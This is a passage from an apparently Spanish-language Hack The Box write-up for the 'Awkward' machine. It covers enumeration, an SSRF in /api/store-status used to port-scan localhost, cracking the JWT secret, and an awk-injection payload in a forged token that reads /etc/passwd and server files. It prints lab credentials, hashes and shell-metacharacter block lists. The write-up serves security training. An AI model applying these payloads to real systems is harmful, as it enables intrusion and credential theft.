This page looks best with JavaScript enabled

Hack The Box - Awkward

 •  ✍️ sckull

En Awkward descubrimos codigo VueJs del sitio, tras analizar y explorar la API, explotamos una vulnerabilidad SSRF que nos dio acceso a la documentación de la API, luego, realizar lectura de archivos modificando el token JWT del sitio, con ello, obtener credenciales dentro de un backup y acceso por SSH. Tras el monitoreo de los procesos y comportamiento del sitio web, observamos que un script realizaba el envio de un email como root tras modificar un archivo csv, este ultimo es accesible por el sitio web el cual nos permitió unicamente la lectura de archivos por la existencia de un filtro, para saltarlo obtuvimos acceso al usuario www-data el cual permitia la escritura del csv que posteriormente nos permitió escalar privilegios.

Nombre Awkward box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.185
Maker

coopertim13

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.5, 5.5, 4.8, 5.2, 4.5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[8, 4, 3, 7, 6],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.92 scan initiated Mon Nov  7 23:14:32 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.185
Nmap scan report for 10.10.11.185 (10.10.11.185)
Host is up (0.062s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 72:54:af:ba:f6:e2:83:59:41:b7:cd:61:1c:2f:41:8b (ECDSA)
|_  256 59:36:5b:ba:3c:78:21:e3:26:b3:7d:23:60:5a:ec:38 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov  7 23:14:42 2022 -- 1 IP address (1 host up) scanned in 9.62 seconds

Web Site

El sitio web redirige al dominio hat-valley.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/htb/awkward]
└─$ curl -sI 10.10.11.185
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 08 Nov 2022 04:14:55 GMT
Content-Type: text/html
Content-Length: 132
Last-Modified: Thu, 15 Sep 2022 12:33:07 GMT
Connection: keep-alive
ETag: "63231b83-84"
Accept-Ranges: bytes

┌──(kali㉿kali)-[~/htb/awkward]
└─$ curl -s 10.10.11.185 
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Refresh" content="0; url='http://hat-valley.htb'" />
</head>
<body>
</body>
</html>

Se muestra información sobre gorros, sombreros, etc.
image

Wappalyzer muestra multiples tecnologías utilizadas por el sitio.

image

Subdominios

Utilizamos ffuf para enumerar los distintos subdominios, observamos el subdominio store.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
➜  awkward ffuf -c -w bitquark-subdomains-top100000.txt -u http://hat-valley.htb -H "Host: FUZZ.hat-valley.htb" -fs 132

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://hat-valley.htb
 :: Wordlist         : FUZZ: bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.hat-valley.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 132
________________________________________________

store                   [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 133ms]
:: Progress: [100000/100000] :: Job [1/1] :: 113 req/sec :: Duration: [0:14:14] :: Errors: 0 ::
➜  awkward

Tras realizar la visita a este, pregunta por credenciales de acceso.

image

Vue App

App

En el dominio principal, utilizando las herramientas de desarrollador de Firefox, logramos observar parte del codigo fuente de VueJS.

image

En el archivo de rutas observamos cuatro principales:/,/hr,/dashboard, /leave. Además de que utiliza la cookie token con valor guest. Si observamos se realiza una validación del valor del token, en caso de que no sea guest, lo redirige sin más a /dashboard dandole acceso completo a esta ruta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import { createWebHistory, createRouter } from "vue-router";
import { VueCookieNext } from 'vue-cookie-next'
import Base from '../Base.vue'
import HR from '../HR.vue'
import Dashboard from '../Dashboard.vue'
import Leave from '../Leave.vue'

const routes = [
  {
    path: "/",
    name: "base",
    component: Base,
  },
  {
    path: "/hr",
    name: "hr",
    component: HR,
  },
  {
    path: "/dashboard",
    name: "dashboard",
    component: Dashboard,
    meta: {
      requiresAuth: true
    }
  },
  {
    path: "/leave",
    name: "leave",
    component: Leave,
    meta: {
      requiresAuth: true
    }
  }
];

const router = createRouter({
  history: createWebHistory(),
  routes,
});

router.beforeEach((to, from, next) => {
  if((to.name == 'leave' || to.name == 'dashboard') && VueCookieNext.getCookie('token') == 'guest') { //if user not logged in, redirect to login
    next({ name: 'hr' })
  }
  else if(to.name == 'hr' && VueCookieNext.getCookie('token') != 'guest') { //if user logged in, skip past login to dashboard
    next({ name: 'dashboard' })
  }
  else {
    next()
  }
})

export default router;

En el apartado de services/ descubrimos la dirección de una api con distintas rutas.

  • /api/all-leave
  • /api/submit-leave
  • /api/login
  • /api/staff-details
  • /api/store-status
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import axios from 'axios'
axios.defaults.withCredentials = true
const baseURL = "/api/"

const get_all = () => {
    return axios.get(baseURL + 'all-leave')
        .then(response => response.data)
}

const submit_leave = (reason, start, end) => {
    return axios.post(baseURL + 'submit-leave', {reason, start, end})
        .then(response => response.data)
}

export default {
    get_all,
    submit_leave
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import axios from 'axios'
axios.defaults.withCredentials = true
const baseURL = "/api/"

const login = (username, password) => {
    return axios.post(baseURL + 'login', {username, password})
        .then(response => response.data)
}

export default {
    login
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import axios from 'axios'
axios.defaults.withCredentials = true
const baseURL = "/api/"

const staff_details = () => {
    return axios.get(baseURL + 'staff-details')
        .then(response => response.data)
}

export default {
    staff_details
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import axios from 'axios'
axios.defaults.withCredentials = true
const baseURL = "/api/"

const store_status = (URL) => {
    const params = {
        url: {toJSON: () => URL}
    }
    return axios.get(baseURL + 'store-status', {params})
        .then(response => response.data)
}

export default {
    store_status
}

El codigo fuente de la tienda.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import { createStore } from 'vuex';

const store = createStore({
    state: {
        token: null,
        firstName: null
    },
    mutations: {
        change(state, theChange) {
            state[theChange.name] = theChange.value
        },
        arrayItemChange(state, theChange) {
            state[theChange.name][theChange.index] = theChange.value
        }
    },
    getters: {
        token: state => state.token,
        firstName: state => state.firstName
    }
})

export default store

Finalmete el codigo de main.js donde destaca la imagen y nombre de usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import { createApp } from 'vue'
import { VueCookieNext } from 'vue-cookie-next'
import App from './App.vue'
import router from './router/router'
import store from "./store/store"
import '@fortawesome/fontawesome-free/css/all.css'
import '@fortawesome/fontawesome-free/js/all.js'

const app = createApp(App)
app.use(VueCookieNext)
app.use(router)
app.use(store)

if(localStorage.getItem("firstName")) {
    store.commit('change', {
        name: "firstName",
        value: localStorage.getItem("firstName")
    })
}
else {
    localStorage.clear()
}

const mixins = {
    methods: {
        getUserImg(name) {
            return require('./static/' + name.split(".")[0] + "-crop.png")
        },
        getImg() {
            if(localStorage.getItem("firstName")) {
                try {
                    return require('./static/' + localStorage.getItem("firstName").toLowerCase() + "-crop.png")
                }
                catch(error) {
                    return ""
                }
            }
            else {
                return ""
            }
        },
    }
}

app.mixin(mixins)
app.mount('#app')

API - Users

Ralizamos solicitudes a todas las rutas de la API que encontramos, observamos en /staff-details nombres de usuarios y hashes de contraseñas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
➜  awkward curl -s http://hat-valley.htb/api/staff-details | jq
[
  {
    "user_id": 1,
    "username": "christine.wool",
    "password": "6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649",
    "fullname": "Christine Wool",
    "role": "Founder, CEO",
    "phone": "0415202922"
  },
  {
    "user_id": 2,
    "username": "christopher.jones",
    "password": "e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1",
    "fullname": "Christopher Jones",
    "role": "Salesperson",
    "phone": "0456980001"
  },
  {
    "user_id": 3,
    "username": "jackson.lightheart",
    "password": "b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436",
    "fullname": "Jackson Lightheart",
    "role": "Salesperson",
    "phone": "0419444111"
  },
  {
    "user_id": 4,
    "username": "bean.hill",
    "password": "37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f",
    "fullname": "Bean Hill",
    "role": "System Administrator",
    "phone": "0432339177"
  }
]
➜  awkward

CrackStation unicamente nos muestra la contraseña de uno de los hashes.

1
2
3
4
6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123
b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436
37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f

image

Con ello obtuvimos credenciales de un usuario.

1
christopher.jones:chris123

Web App

Al visitar la ruta /hr nos muestra un formulario para el login.

image

Tras intentar ingresar con usuarios no válidos se muestra un mensaje, y en la solicitud observamos que se crea la cookie token con valor guest tal y como se muestra en el codigo fuente.

image
image

Tras modificar el valor de la cookie nos redirige hacia el dashboard, tal y como se muestra en routes.js.

image
image

Entre las distintas rutas visitadas dentro del sitio se observa que realiza una solicitud a la API enviando una direccion url.

image

Observamos un error, menciona JWT, seguramente por parte del backend espera un token/cookie de este tipo, además el directorio del sitio.
image

Observamos que al crear un nuevo Leave Request nos muestra nuevamente un error de JWT.

image
image

Auth - Christopher

Con las credenciales encontradas ingresamos como christopher, esta vez nos muestra información de varios usuarios.

image

Además observamos que se agregó un valor de cookie jwt.

image

Al visitar la ruta de Leaves se muestra información relacionada a este usuario.

image

Asi mismo al enviar un nuevo Leave este se agrega a la lista ya existente.

image

Token JWT

Tras observar la estructura del token intelntamos modificar el valor del usuario a bean.hill.

image

Sin embargo, como se esperaba, tras enviar una solicitud nueva con este token nos muestra error en la firma, por lo que necesitamos saber el valor del SECRET para crear o modificar el token.

image

SSRF

Anteriormente mencionamos sobre una solicitud http realizada a una dirección de la API, al verificar dicha solicitud observamos que devuelve el contenido HTML de la dirección enviada, en este caso el localhost. Intentamos distintas formas para realizar lectura de archivos pero unicamente realiza solicitudes http.

image

Port scanning

Utilizamos ffuf para realizar una enumeración de puertos utilizando solicitudes http. Tras finalizar encontramos los puertos 80, 3002 y 8080 abiertos, localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
➜  awkward ffuf -w num.txt -u 'http://hat-valley.htb/api/store-status?url="http://127.0.0.1:FUZZ"' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcwMTA0MjgwfQ.7ElBGGx3YjXFTkaCRTMsuWRpluCgUdZ2DhcwWRFA-4A' -fs 0

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://hat-valley.htb/api/store-status?url="http://127.0.0.1:FUZZ"
 :: Wordlist         : FUZZ: num.txt
 :: Header           : Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcwMTA0MjgwfQ.7ElBGGx3YjXFTkaCRTMsuWRpluCgUdZ2DhcwWRFA-4A
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

80                      [Status: 200, Size: 132, Words: 6, Lines: 9, Duration: 72ms]
3002                    [Status: 200, Size: 77010, Words: 5916, Lines: 686, Duration: 176ms]
8080                    [Status: 200, Size: 2881, Words: 305, Lines: 55, Duration: 280ms]
:: Progress: [65535/65535] :: Job [1/1] :: 234 req/sec :: Duration: [0:05:11] :: Errors: 0 ::
➜  awkward

En el puerto 3002 observamos la documentación de la API.

image

En 8080 la aplicación web.

image

API - Codigo Fuente

Se muestra de forma clara por medio del navegador toda la documentación y codigo de la API.

1
http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:3002%22
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
app.post('/api/login', (req, res) => {
  const {username, password} = req.body

  connection.query(
    'SELECT * FROM users WHERE username = ? AND password = ?', [ username, sha256(password) ],
    function (err, results) {
      if(err) {
        return res.status(401).send("Incorrect username or password")
      }
      else {
        if(results.length !== 0) {
          const userForToken = {
            username: results[0].username
          }
          const firstName = username.split(".")[0][0].toUpperCase() + username.split(".")[0].slice(1).toLowerCase()
          const token = jwt.sign(userForToken, TOKEN_SECRET)
          const toReturn = {
            "name": firstName,
            "token": token
          }

          return res.status(200).json(toReturn)
        }else {
          return res.status(401).send("Incorrect username or password")
        }
      }
    }
  );
})
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
app.post('/api/submit-leave', (req, res) => {

  const {reason, start, end} = req.body
  const user_token = req.cookies.token
  var authFailed = false
  var user = null

  if(user_token) {
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
    if(!decodedToken.username) {
      authFailed = true
    }else {
      user = decodedToken.username
    }
  }

  if(authFailed) {
    return res.status(401).json({Error: "Invalid Token"})
  }

  if(!user) {
    return res.status(500).send("Invalid user")
  }

  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
  const badInUser = bad.some(char => user.includes(char));
  const badInReason = bad.some(char => reason.includes(char));
  const badInStart = bad.some(char => start.includes(char));
  const badInEnd = bad.some(char => end.includes(char));

  if(badInUser || badInReason || badInStart || badInEnd) {
    return res.status(500).send("Bad character detected.")
  }

  const finalEntry = user + "," + reason + "," + start + "," + end + ",Pending\r"
  exec(`echo "${finalEntry}" >> /var/www/private/leave_requests.csv`, (error, stdout, stderr) => {
    if (error) {
      return res.status(500).send("Failed to add leave request")
    }
    return res.status(200).send("Successfully added new leave request")
  })
})
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
app.get('/api/all-leave', (req, res) => {

  const user_token = req.cookies.token
  var authFailed = false
  var user = null
  if(user_token) {
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
    if(!decodedToken.username) {
      authFailed = true
    }else {
      user = decodedToken.username
    }
  }

  if(authFailed) {
    return res.status(401).json({Error: "Invalid Token"})
  }
  if(!user) {
    return res.status(500).send("Invalid user")
  }

  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
  const badInUser = bad.some(char => user.includes(char));

  if(badInUser) {
    return res.status(500).send("Bad character detected.")
  }

  exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
    if(stdout) {
      return res.status(200).send(new Buffer(stdout, 'binary'));
    }

    if (error) {
      return res.status(500).send("Failed to retrieve leave requests")
    }

    if (stderr) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
  })
})
1
2
3
4
5
6
7
8
9
app.get('/api/store-status', async (req, res) => {
  await axios.get(req.query.url.substring(1, req.query.url.length-1))
    .then(http_res => {
      return res.status(200).send(http_res.data)
    })
    .catch(http_err => {
      return res.status(200).send(http_err.data)
    })
})
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
app.get('/api/staff-details', (req, res) => {

  const user_token = req.cookies.token
  var authFailed = false

  if(user_token) {
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
    if(!decodedToken.username) {
      authFailed = true
    }
  }

  if(authFailed) {
    return res.status(401).json({Error: "Invalid Token"})
  }

  connection.query(
    'SELECT * FROM users', 
    function (err, results) {
      if(err) {
        return res.status(500).send("Database error")
      }else {
        return res.status(200).json(results)
      }
    }
  );
})

Reading Local Files

Tras realizar un analisis del codigo, encontramos posiblemente dos vulnerabilidades en dos rutas de la API.

  1. Posible Command injection en /submit-leave, en esta ruta es por donde se envia un nuevo Leave, por lo que de existir alguna forma de realizar bypass sería posible inyectar comandos. Aunque esta opción no parece viable.
  2. Posible Lectura de archivos en la ruta /all-leave, observamos el uso de awk en la creación de un comando para leer un archivo .csv, realizando un “filtro” para la lectura de valores pertenecientes a cierto usuario, este usuario es sacado del token JWT, por lo que si intentamos modificar la construcción del comando, es necesario modificar el token JWT primero.

Iniciamos buscando el SECRET del token JWT que posteriormente nos servirá para modificar el valor del usuario en el token para realizar la lectura de archivos.

Cracking JWT - John

Utilizando john crackeamos el token JWT para encontrar el secret.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
➜  awkward john jwt.txt --wordlist=$ROCK --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123beany123      (?)
1g 0:00:00:02 DONE (2022-12-03 17:14) 0.4739g/s 6320Kp/s 6320Kc/s 6320KC/s 123erix..1234ถุ
Use the "--show" option to display all of the cracked passwords reliably
Session completed
➜  awkward

awk + local file

Basados en la construcción del comando creamos un posible payload con la ayuda de GTFOBins.

1
2
3
4
5
# command
"awk '/" + user + "/' /var/www/private/leave_requests.csv"

# payload
/' '/etc/passwd' '

Verificamos nuestro payload.

1
2
3
4
5
6
7
8
>>> user = "sckull"
>>> print("awk '/" + user + "/' file.csv")
awk '/sckull/' file.csv
>>> 
>>> user = "/' '/etc/passwd' '"
>>> print("awk '/" + user + "/' file.csv")
awk '//' '/etc/passwd' '/' file.csv
>>>

Tras la creación y ejecución del payload localmente, logramos realizar la lectura del archivo /etc/passwd, por lo que ahora tenemos un payload para la lectura de cualquier archivo.

1
2
3
4
sckull@kuzu:~/tmp$ awk '//' '/etc/passwd' '/' file.csv
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[.. snip ..]

Reading files

Modificamos el token con el payload para realiza la lectura del archivo /etc/passwd.

image

Tras realizar la solicitud en /all-leave logramos obtener el contenido de dicho archivo. En este archivo encontramos los usuarios: bean y christine.

image

En el error del token observamos la ruta completa del archivo server.js, el cual logramos obtener, las credenciales no funcionan en algun servicio conocido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// /var/www/hat-valley.htb/server/server.js
const express = require('express')
const bodyParser = require('body-parser')
const cors = require('cors')
const jwt = require('jsonwebtoken')
const app = express()
const axios = require('axios')
const { exec } = require("child_process");
const path = require('path')
const sha256 = require('sha256')
const cookieParser = require("cookie-parser")
app.use(bodyParser.json())
app.use(cors())
app.use(cookieParser())

const mysql = require('mysql')
const { response } = require('express')
const connection = mysql.createConnection({
  host: 'localhost',
  user: 'root',
  password: 'SQLDatabasePassword321!',
  database: 'hatvalley',
  stringifyObjects: true
})

const port = 3002
const TOKEN_SECRET = "123beany123"

[.. ..]
// check server.js tab
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
// /var/www/hat-valley.htb/server/server.js
const express = require('express')
const bodyParser = require('body-parser')
const cors = require('cors')
const jwt = require('jsonwebtoken')
const app = express()
const axios = require('axios')
const { exec } = require("child_process");
const path = require('path')
const sha256 = require('sha256')
const cookieParser = require("cookie-parser")
app.use(bodyParser.json())
app.use(cors())
app.use(cookieParser())

const mysql = require('mysql')
const { response } = require('express')
const connection = mysql.createConnection({
  host: 'localhost',
  user: 'root',
  password: 'SQLDatabasePassword321!',
  database: 'hatvalley',
  stringifyObjects: true
})

const port = 3002
const TOKEN_SECRET = "123beany123"

app.post('/api/login', (req, res) => {
  const {username, password} = req.body
  connection.query(
    'SELECT * FROM users WHERE username = ? AND password = ?', [ username, sha256(password) ],
    function (err, results) {
      if(err) {
        return res.status(401).send("Incorrect username or password")
      }
      else {
        if(results.length !== 0) {
          const userForToken = {
            username: results[0].username
          }
          const firstName = username.split(".")[0][0].toUpperCase() + username.split(".")[0].slice(1).toLowerCase()
          const token = jwt.sign(userForToken, TOKEN_SECRET)
          const toReturn = {
            "name": firstName,
            "token": token
          }
          return res.status(200).json(toReturn)
        }
        else {
          return res.status(401).send("Incorrect username or password")
        }
      }
    }
  );
})

app.post('/api/submit-leave', (req, res) => {
  const {reason, start, end} = req.body
  const user_token = req.cookies.token
  var authFailed = false
  var user = null
  if(user_token) {
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
    if(!decodedToken.username) {
      authFailed = true
    }
    else {
      user = decodedToken.username
    }
  }
  if(authFailed) {
    return res.status(401).json({Error: "Invalid Token"})
  }
  if(!user) {
    return res.status(500).send("Invalid user")
  }
  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"] //https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

  const badInUser = bad.some(char => user.includes(char));
  const badInReason = bad.some(char => reason.includes(char));
  const badInStart = bad.some(char => start.includes(char));
  const badInEnd = bad.some(char => end.includes(char));

  if(badInUser || badInReason || badInStart || badInEnd) {
    return res.status(500).send("Bad character detected.")
  }

  const finalEntry = user + "," + reason + "," + start + "," + end + ",Pending\r"

  exec(`echo "${finalEntry}" >> /var/www/private/leave_requests.csv`, (error, stdout, stderr) => {
    if (error) {
      return res.status(500).send("Failed to add leave request")
    }
    return res.status(200).send("Successfully added new leave request")
  })
})

app.get('/api/all-leave', (req, res) => {
  const user_token = req.cookies.token
  var authFailed = false
  var user = null
  if(user_token) {
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
    if(!decodedToken.username) {
      authFailed = true
    }
    else {
      user = decodedToken.username
    }
  }
  if(authFailed) {
    return res.status(401).json({Error: "Invalid Token"})
  }
  if(!user) {
    return res.status(500).send("Invalid user")
  }
  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"] //https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

  const badInUser = bad.some(char => user.includes(char));

  if(badInUser) {
    return res.status(500).send("Bad character detected.")
  }

  exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
    if(stdout) {
      return res.status(200).send(new Buffer(stdout, 'binary'));
    }
    if (error) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
    if (stderr) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
  })
})

app.get('/api/store-status', async (req, res) => {
  await axios.get(req.query.url.substring(1, req.query.url.length-1))
    .then(http_res => {
      return res.status(200).send(http_res.data)
    })
    .catch(http_err => {
      return res.status(200).send(http_err.data)
    })
})

app.get('/api/staff-details', (req, res) => {
  const user_token = req.cookies.token
  var authFailed = false
  if(user_token) {
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
    if(!decodedToken.username) {
      authFailed = true
    }
  }
  if(authFailed) {
    return res.status(401).json({Error: "Invalid Token"})
  }
  connection.query(
    'SELECT * FROM users', 
    function (err, results) {
      if(err) {
        return res.status(500).send("Database error")
      }
      else {
        return res.status(200).json(results)
      }
    }
  );
})

app.get('/', (req, res) => {
  res.sendFile(path.join(__dirname+'/readme.html'))
})

app.listen(port, 'localhost', () => {
  console.log(`Server listening on port ${port}`)
  connection.connect()
})

Asi mismo logramos adivinar la ruta del archivo de configuración nginx del subdominio, donde observamos la ruta del archivo .htpasswd.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/etc/nginx/sites-available/store.conf

server {
    listen       80;
    server_name  store.hat-valley.htb;
    root /var/www/store;

    location / {
        index index.php index.html index.htm;
    }
    # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
    #
    location ~ /cart/.*\.php$ {
        return 403;
    }
    location ~ /product-details/.*\.php$ {
        return 403;
    }
    location ~ \.php$ {
        auth_basic "Restricted";
        auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
        fastcgi_pass   unix:/var/run/php/php8.1-fpm.sock;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $realpath_root$fastcgi_script_name;
        include        fastcgi_params;
    }
    # deny access to .htaccess files, if Apache's document root
    # concurs with nginx's one
    #
    #location ~ /\.ht {
    #    deny  all;
    #}
}

En dicho archivo encontramos el usuario y hash para acceder al sitio, sin embargo no logramos crackear el hash.

1
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1

Tambien, logramos enumerar distintos archivos php tras obtener el archivo index.php de /var/www/store.

1
2
3
4
5
6
index.php
shop.php
cart.php
checkout.php
cart_actions.php
# /var/www/store/cart_actions.php

Observamos distintas funciones utilizadas en la “tienda” a la cual no podemos acceder.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
<?php

$STORE_HOME = "/var/www/store/";

//check for valid hat valley store item
function checkValidItem($filename) {
    if(file_exists($filename)) {
        $first_line = file($filename)[0];
        if(strpos($first_line, "***Hat Valley") !== FALSE) {
            return true;
        }
    }
    return false;
}

//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
